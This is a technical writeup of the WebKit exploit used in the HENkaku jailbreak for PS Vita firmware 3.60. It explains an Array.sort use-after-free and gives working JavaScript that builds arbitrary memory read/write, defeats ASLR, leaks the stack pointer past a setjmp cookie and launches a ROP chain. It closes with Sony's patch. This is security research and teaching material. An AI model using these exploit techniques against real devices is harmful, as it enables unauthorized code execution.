Exploiting WebKit on Vita 3.60
Intro
This starts the series of writeups for the HENkaku exploit chain. I’ll try not to spoil the KOTH challenge too much and only write up the parts that have already been reverse engineered, clarifying the details that other people have missed. However, in the case that the challenge becomes stale and no progress is made, I’ll probably publish the writeup anyway, lest it rots in the repo.
The PoC
WebKit is our favorite target of choice for user-mode code execution. While bypassing ASLR without scripting is possible in some cases, the JavaScript engine trivializes it. The web browser on the Vita also does not require the user to be logged into PSN and it does not auto-update. From the perspective of an end user, installing the hack is as simple as visiting a website and clicking a button. Simply put, it’s the perfect way to deliver an exploit.
Unlike on the 3DS, which has no ASLR whatsoever, Vita’s WebKit has an acceptable one providing an entropy of 9 bits. This makes brute-force attacks on ASLR extremely painful: 256 reloads on average to trigger the exploit. We need a better vulnerability than a generic use-after-free + vptr overwrite (aka spray-and-pray).
Thanks to some people who prefer to be unnamed, I’ve managed to obtain a nice PoC script crashing Vita’s browser on the latest (at the time) firmware. Interestingly, I was unable to find any information about this bug on the internet or in the public WebKit bugzilla and repo, though it might have been restricted.
So what I started with was this script:
var almost_oversize = 0x3000;
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));
var o = {};
o.toString = function () { foo.push(12345); return ""; }
foo[0] = 1;
foo[1] = 0;
foo[2] = o;
foo.sort();
If you run it on a Linux host using Sony’s WebKit, you will see a segmentation fault. Let’s look at it in the debugger:
Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault.
0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
152 m_value = JSValue::encode(value);
(gdb) bt
#0 0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152
#1 0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithValue (vm=..., thisValue=0x7fff9911ff60, data=..., i=0, value=...) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1069
#2 0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC::WriteBarrier<JSC::Unknown> > (this=0x7fff9911ff60, exec=0x7fff9d6e8078, data=..., relevantLength=3)
at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171
#3 0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1214
#4 0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7fff9911ff60, function=..., callData=..., callType=@0x7fffffffbfb4: JSC::CallTypeNone)
at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623
#5 0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:697
<the rest does not matter>
Turns out, it hits unmapped memory while executing JavaScript Array.sort function. But what’s going on here?
The bug
Let’s take a look at the JSArray::sort
method (Source/JavaScriptCore/runtime/JSArray.cpp
). Notice how the PoC creates the array:
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize));
This makes an array of type ArrayWithContiguous
. That’s why we get into the sortCompactedVector
function. The full implementation of the function is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
template<IndexingType indexingType, typename StorageType>
void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
{
if (!relevantLength)
return;
VM& vm = exec->vm();
// Converting JavaScript values to strings can be expensive, so we do it once up front and sort based on that.
// This is a considerable improvement over doing it twice per comparison, though it requires a large temporary
// buffer. Besides, this protects us from crashing if some objects have custom toString methods that return
// random or otherwise changing results, effectively making compare function inconsistent.
Vector<ValueStringPair, 0, UnsafeVectorOverflow> values(relevantLength);
if (!values.begin()) {
throwOutOfMemoryError(exec);
return;
}
Heap::heap(this)->pushTempSortVector(&values);
bool isSortingPrimitiveValues = true;
for (size_t i = 0; i < relevantLength; i++) {
JSValue value = ContiguousTypeAccessor<indexingType>::getAsValue(data, i);
ASSERT(indexingType != ArrayWithInt32 || value.isInt32());
ASSERT(!value.isUndefined());
values[i].first = value;
if (indexingType != ArrayWithDouble && indexingType != ArrayWithInt32)
isSortingPrimitiveValues = isSortingPrimitiveValues && value.isPrimitive();
}
// FIXME: The following loop continues to call toString on subsequent values even after
// a toString call raises an exception.
for (size_t i = 0; i < relevantLength; i++)
values[i].second = values[i].first.toWTFStringInline(exec);
if (exec->hadException()) {
Heap::heap(this)->popTempSortVector(&values);
return;
}
// FIXME: Since we sort by string value, a fast algorithm might be to use a radix sort. That would be O(N) rather
// than O(N log N).
#if HAVE(MERGESORT)
if (isSortingPrimitiveValues)
qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
else
mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#else
// FIXME: The qsort library function is likely to not be a stable sort.
// ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort.
qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStringPairForQSort);
#endif
// If the toString function changed the length of the array or vector storage,
// increase the length to handle the orignal number of actual values.
switch (indexingType) {
case ArrayWithInt32:
case ArrayWithDouble:
case ArrayWithContiguous:
ensureLength(vm, relevantLength);
break;
case ArrayWithArrayStorage:
if (arrayStorage()->vectorLength() < relevantLength) {
increaseVectorLength(exec->vm(), relevantLength);
ContiguousTypeAccessor<indexingType>::replaceDataReference(&data, arrayStorage()->vector());
}
if (arrayStorage()->length() < relevantLength)
arrayStorage()->setLength(relevantLength);
break;
default:
CRASH();
}
for (size_t i = 0; i < relevantLength; i++)
ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
Heap::heap(this)->popTempSortVector(&values);
}
This function takes the values from the JS array, puts them into a temporary vector, sorts the vector, and then puts the values back into the JS array. Seems simple enough, right?
Because JavaScript arrays can contain different types of elements, the code normalizes them to some common type, which happens to be String in this case. By the way, if you’re not familiar with JS, this is how the spec defines it, so that when you do:
[1, 2, 3, 10, 20, 30].sort()
you get an
Array(6) [ 1, 10, 2, 20, 3, 30 ]
Back to the code snippet, on line 37 in the for
loop, it calls the toWTFStringInline
method for every element. For our custom object o
, this would call the toString
method implemented in JS:
o.toString = function () { foo.push(12345); return ""; }
This pushes an integer into the array that is being sorted. If the array’s run out of its internal capacity, this also causes the array elements to get reallocated!
On the line 81 the sorted elements are written back into the array. However, the data
pointer is never updated with the new value after the reallocation. To illustrate it:
The grey area here is free or unallocated memory. On Linux it is actually unmapped after realloc
is called. Since the data
still points at the old memory location, the web browser gets a segmentation fault when trying to write to unmapped memory.
Out-of-bounds RW
Depending on the contents, JSArray
objects might be stored differently in memory. The ones we are operating on, however, are stored continuously as the metadata header (in yellow) plus array contents (in green).
The array contents are just a vector of JSValue
structures, defined as:
union EncodedValueDescriptor {
int64_t asInt64;
double asDouble;
struct {
int32_t payload;
int32_t tag;
} asBits;
};
The metadata header stores two interesting fields:
// The meaning of this field depends on the array type, but for all JSArrays
// we rely on this being the publicly visible length (array.length).
uint32_t m_publicLength;
// The length of the indexed property storage. The actual size of the storage
// depends on this, and the type.
uint32_t m_vectorLength;
Our goal now is to overwrite both of them and “extend” the array beyond what’s actually allocated. To achieve that, let’s modify the o.toString
method:
var normal_length = 0x800;
var fu = new Array(normal_length);
var arrays = new Array(0x100);
o.toString = function () {
foo.push(12345);
for (var i = 0; i < arrays.length; ++i) {
var bar = Array.prototype.constructor.apply(null, fu);
bar[0] = 0;
bar[1] = 1;
bar[2] = 2;
arrays[i] = bar;
}
return "";
}
If we get lucky, here’s what happens:
In this example, when the sorted values are written back using the data
pointer, the metadata headers of both second and third bar
get overwritten.
What do we overwrite them with? Remember that the green area is the vector of JSValue
objects. Every JSValue
object is 8 bytes. But if we fill foo
with, for example, 0x80000000
, we only control 4 bytes, and the rest is used up for the tag
. What’s a tag
? Let’s take a look:
enum { Int32Tag = 0xffffffff };
enum { BooleanTag = 0xfffffffe };
enum { NullTag = 0xfffffffd };
enum { UndefinedTag = 0xfffffffc };
enum { CellTag = 0xfffffffb };
enum { EmptyValueTag = 0xfffffffa };
enum { DeletedValueTag = 0xfffffff9 };
enum { LowestTag = DeletedValueTag };
The tag is how WebKit’s JavaScriptCore packs different types of values into a single JSValue
structure: it can be an int, a boolean, a cell (which is a pointer to an object), null, undefined, or a double. So if we write 54321
, we only control half of the structure, and the other half is set to Int32Tag
or 0xffffffff
.
However, we can also write double
values such as 54321.0
! This way we control all 8 bytes of the structure, though there are some minor limitations.
Sidenote: Some floating-point normalization stuff implemented in WebKit does not allow for truly arbitrary values to be written. Otherwise, even without any vulnerabilities present you would be able to craft a CellTag
and set its pointer to an arbitrary location. That would be really bad! Actually, it used to allow that, which is how the very first Vita WebKit exploit worked: CVE-2010-1807.
So let’s write double
values instead:
foo[0] = o;
var len = u2d(0x80000000, 0x80000000);
for (var i = 1; i < 0x2000; ++i)
foo[i] = len;
foo.sort();
u2d
/d2u
are small helpers to convert between a pair of int
and a double
:
var _dview = null;
// u2d/d2u taken from PSA-2013-0903
// wraps two uint32s into double precision
function u2d(low,hi)
{
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setUint32(0,hi);
_dview.setUint32(4,low);
return _dview.getFloat64(0);
}
function d2u(d)
{
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
_dview.setFloat64(0,d);
return { low: _dview.getUint32(4),
hi: _dview.getUint32(0) };
}
If we get lucky, inside arrays
we will now find a few JSArray
objects that are extended beyond their real boundary and have their length set to 0x80000000
.
Interestingly, this successfully corrupts a JSArray
object on the Vita but crashes on Linux hitting a guard page. But this doesn’t matter because we’re not exploiting Linux.
Now when we write to one of the corrupted bar
objects, we can achieve an out-of-bounds read/write which is awesome! But let’s upgrade it to a truly arbitrary RW so that we’re not constrained to writing double
values converted through u2d
.
Arbitrary RW
To obtain an arbitrary read/write primitive, I used the same trick as used by the 2.00-3.20 WebKit exploit, described here.
First, spray a bunch of buffers:
buffers = new Array(spray_size);
buffer_len = 0x1344;
for (var i = 0; i < buffers.length; ++i)
buffers[i] = new Uint32Array(buffer_len / 4);
Then, find a Uint32Array
buffer in memory and patch its buffer size and offset fields. Start searching at some arbitrary offset before the corrupted buffer’s (called arr
here) elements.
var start = 0x20000000-0x11000;
for(;; start--) {
if (arr[start] != 0) {
_dview.setFloat64(0, arr[start]);
if (_dview.getUint32(0) == buffer_len / 4) { // Found Uint32Array
_dview.setUint32(0, 0xEFFFFFE0);
arr[start] = _dview.getFloat64(0); // change buffer size
_dview.setFloat64(0, arr[start-2]);
heap_addr = _dview.getUint32(4); // leak some heap address
_dview.setUint32(4, 0)
_dview.setUint32(0, 0x80000000);
arr[start-2] = _dview.getFloat64(0); // change buffer offset
break;
}
}
}
Finally, find the Uint32Array
we’ve corrupted in the last step:
corrupted = null;
for (var i = 0; i < buffers.length; ++i) {
if (buffers[i].byteLength != buffer_len) {
corrupted = buffers[i];
break;
}
}
var u32 = corrupted;
Done! We now have a completely arbitrary RW, and we have leaked some heap address.
Code execution
We’re not done until we can execute code inside the browser process. Again, the old trick with textarea
objects is used here. First, let’s modify the original Uint32Array
heap spray to interleave textarea
objects:
spray_size = 0x4000;
textareas = new Array(spray_size);
buffers = new Array(spray_size);
buffer_len = 0x1344;
textarea_cookie = 0x66656463;
textarea_cookie2 = 0x55555555;
for (var i = 0; i < buffers.length; ++i) {
buffers[i] = new Uint32Array(buffer_len / 4);
var e = document.createElement("textarea");
e.rows = textarea_cookie;
textareas[i] = e;
}
Using the corrupted Uint32Array
object, find a textarea
in memory:
var some_space = heap_addr;
search_start = heap_addr;
for (var addr = search_start/4; addr < search_start/4 + 0x4000; ++addr) {
if (u32[addr] == textarea_cookie) {
u32[addr] = textarea_cookie2;
textarea_addr = addr * 4;
break;
}
}
/*
Change the rows of the Element object then scan the array of
sprayed objects to find an object whose rows have been changed
*/
var found_corrupted = false;
var corrupted_textarea;
for (var i = 0; i < textareas.length; ++i) {
if (textareas[i].rows == textarea_cookie2) {
corrupted_textarea = textareas[i];
break;
}
}
Now we have two “views” into the same textarea
object: we can modify it directly in memory using our u32
object, and we can call its functions from JavaScript. So the idea is to overwrite its vptr using u32
and then call the modified function through JavaScript.
Mitigation 1: ASLR
Remember that Vita has ASLR, which is why the exploit is more complicated than it could’ve been. But with arbitrary RW it doesn’t even matter: we can just leak textarea
’s’ vptr and defeat ASLR completely:
function read_mov_r12(addr) {
first = u32[addr/4];
second = u32[addr/4 + 1];
return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF)
| ((((second & 0xFFF) | ((second & 0xF0000) >> 4)) & 0xFFFF) << 16)) >>> 0;
}
var vtidx = textarea_addr - 0x70;
var textareavptr = u32[vtidx / 4];
SceWebKit_base = textareavptr - 0xabb65c;
SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49;
SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031;
ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65;
SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5;
SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d;
SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED;
SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59;
SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD;
Back to the actual code execution. On the Vita there’s no JIT and it’s not possible to allocate RWX memory. In fact, you can’t even mark memory pages as executable, which means we have to write the whole kernel exploit (the next stage of HENkaku) in ROP.
The old exploits used something called JSoS
which is described here. However, in our case the browser becomes really unstable after corrupting the JSArray
object, so we want to run as little JavaScript as possible.
As a result, a new version of roptool was written by Davee which supported ASLR. The basic idea here is that some words (a word is 4 bytes) in roptool output now have relocation information assigned to them. After relocating the payload, which is just adding different bases (SceWebKit_base
/SceLibc_base
/etc) to these words, we can launch the resulting ROP chain normally.
Mitigation 2: Stack-pivot protection
Since an unknown firmware version, there is now an additional mitigation implemented: sometimes the kernel will check that your thread stack pointer is in fact inside its stack. If this is not the case, the whole application gets killed.
To bypass this, we need to plant our ROP chain into the thread’s real stack. To do that, we need to know its virtual address which is randomized because of ASLR.
However, we have arbitrary RW! There’s a ton of ways to leak the stack pointer. For example, I used the setjmp
function. Here’s how we’ll call it:
// copy vtable
for (var i = 0; i < 0x40; i++)
u32[some_space / 4 + i] = u32[textareavptr / 4 + i];
u32[vtidx / 4] = some_space;
// backup our obj
for (var i = 0; i < 0x30; ++i)
backup[i] = u32[vtidx/4 + i];
// call setjmp and leak stack base
u32[some_space / 4 + 0x4e] = SceLibc_base + 0x14070|1; // setjmp
corrupted_textarea.scrollLeft = 0; // call setjmp
Now our corrupted_textarea
is overwritten in memory with jmp_buf
, which has to include the stack pointer somewhere. Later, we restore the original contents as follows. (This is done so that JavaScript does not crash the browser when we attempt to do anything else with the corrupted textarea
object.)
// restore our obj
for (var i = 0; i < 0x30; ++i)
u32[vtidx/4 + i] = backup[i];
Unfortunately, if we look at the setjmp
implementation in SceLibc
, we get hit with yet another exploit mitigation:
ROM:81114070 setjmp
ROM:81114070 PUSH {R0,LR}
ROM:81114072 BL sub_81103DF2 // Returns a high-quality random cookie
ROM:81114076 POP {R1,R2}
ROM:81114078 MOV LR, R2
ROM:8111407A MOV R3, SP
ROM:8111407C STMIA.W R1!, {R4-R11}
ROM:81114080 EORS R2, R0 // LR is XOR'ed with a cookie
ROM:81114082 EORS R0, R3 // SP is XOR'ed with the same cookie
ROM:81114084 STMIA R1!, {R0,R2}
ROM:81114086 VSTMIA R1!, {D8-D15}
ROM:8111408A VMRS R2, FPSCR
ROM:8111408E STMIA R1!, {R2}
ROM:81114090 MOV.W R0, #0
ROM:81114094 BX LR
The important part in pseudocode is:
stored_LR = LR ^ cookie
stored_SP = SP ^ cookie
I’m sure you can see where this is going. We already know SceWebKit_base
, so we know the actual value of LR
. Using some simple math:
cookie = stored_LR ^ LR
SP = stored_SP ^ cookie
SP = stored_SP ^ (stored_LR ^ LR)
Or, in JavaScript:
sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0)) >>> 0;
sp -= 0xef818; // adjust to get SP base
Now we can write our ROP payload into the thread stack and pivot to it without the application being killed!
Finally, Code Execution
Remember the part about ROPtool implementing relocations. This means that we need to relocate the ROP payload before it can be executed. If you look at payload.js, this is what you will see:
payload = [2119192402,65537,0,0,1912 // and it goes on...
relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0, // ...
Every number from the relocs
array indicates how the corresponding member of the payload
array should be relocated. For example, 0 means no relocation, 1 is to add rop_data_base
, 2 is to add SceWebKit_base
, 3 is to add SceLibKernel_base
and so on.
(A roptool-generated ROP chain has two sections: code and data. code is just the ROP stack. data is stuff like strings or buffers that we use in the actual kernel exploit. rop_data_base
is vaddr of data. rop_code_base
is vaddr of code.)
The next loop relocates the payload straight into the thread stack:
// relocate the payload
rop_data_base = sp + 0x40;
rop_code_base = sp + 0x10000;
addr = sp / 4;
// Since relocs are applied to the whole rop binary, not just code/data sections, we replicate
// this behavior here. However, we split it into data section (placed at the top of the stack)
// and code section (placed at stack + some big offset)
for (var i = 0; i < payload.length; ++i, ++addr) {
if (i == rop_header_and_data_size)
addr = rop_code_base / 4;
switch (relocs[i]) {
case 0:
u32[addr] = payload[i];
break
case 1:
u32[addr] = payload[i] + rop_data_base;
break;
/*
skipped most relocs
*/
default:
alert("wtf?");
alert(i + " " + relocs[i]);
}
}
In this loop we split the payload into two parts: code and data sections. We don’t want the code to touch the data because if the code is located right after the data (which is the case for roptool-generated ROP chains), when a function is called, it might damage a part of the data section. Remember that the ROP chain is executed from “top” to “bottom” and the stack (usually, and is the case on Vita) grows from “bottom” to “top”.
Once we’re done relocating the data section: if (i == rop_header_and_data_size)
, we switch to relocating the code section: addr = rop_code_base / 4
.
On the left is how the ROP chain looks like while it’s stored in the payload
array. On the right is how the ROP chain is written into the stack.
Finally, let’s trigger the ROP chain:
// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc}
u32[some_space / 4 + 0x4e] = SceWebKit_base + 0x54c8;
var ldm_data = some_space + 0x100;
u32[ldm_data/4 + 5] = rop_code_base; // sp
u32[ldm_data/4 + 6] = SceWebKit_base + 0xc048a|1; // pc = pop {pc}
// This alert() is used to distinguish between the webkit exploit fail
// and second stage exploit fail
// - If you don't see it, the webkit exploit failed
// - If you see it and then the browser crashes, the second stage failed
alert("Welcome to HENkaku!");
corrupted_textarea.scrollLeft = ldm_data; // trigger ropchain, r1=arg
// You won't see this alert() unless something went terribly wrong
alert("that's it");
When corrupted_textarea.scrollLeft = ldm_data
is done, our LDM gadget will get called. R1
will be ldm_data
, so it will load SP = rop_code_base
and PC = pop {pc}
from this buffer and as such will kick off the ROP chain!
Bonus: How Sony patched it
Sony regularly uploads new source code of their WebKit version, as required by LGPL, to this page. (Unless they don’t, in which case a friendly poke over email helps.)
Diffing the source code between 3.60 and 3.61 reveals the following (useless stuff omitted):
diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp
1087,1096c1087,1123
- }
- };
-
-
- template<IndexingType indexingType, typename StorageType>
- void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
- {
- if (!relevantLength)
- return;
-
---
+ }
+ };
+
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >()
+ {
+ return m_butterfly->contiguousInt32();
+ }
+
+ template <>
+ ContiguousDoubles JSArray::storage<ArrayWithDouble, double>()
+ {
+ return m_butterfly->contiguousDouble();
+ }
+
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >()
+ {
+ return m_butterfly->contiguous();
+ }
+
+ template <>
+ ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown> >()
+ {
+ ArrayStorage* storage = m_butterfly->arrayStorage();
+ ASSERT(!storage->m_sparseMap);
+ return storage->vector();
+ }
+
+ template<IndexingType indexingType, typename StorageType>
+ void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength)
+ {
+ data = storage<indexingType, StorageType>();
+
+ if (!relevantLength)
+ return;
+
1167,1172c1194,1200
- CRASH();
- }
-
- for (size_t i = 0; i < relevantLength; i++)
- ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
-
---
+ CRASH();
+ }
+
+ data = storage<indexingType, StorageType>();
+ for (size_t i = 0; i < relevantLength; i++)
+ ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first);
+
They now update the data
pointer before writing values into it! This means that even after the array gets reallocated, the function will still be writing to the right memory location. This is what causes the alert("restart the browser")
error if you attempt to run HENkaku on 3.61. Good job, Sony!
Conclusion
That’s it for today! I hope you’ve enjoyed this writeup as much as I loved writing the exploit. Later, I’ll bring you more HENkaku writeups, so you better look forward to it.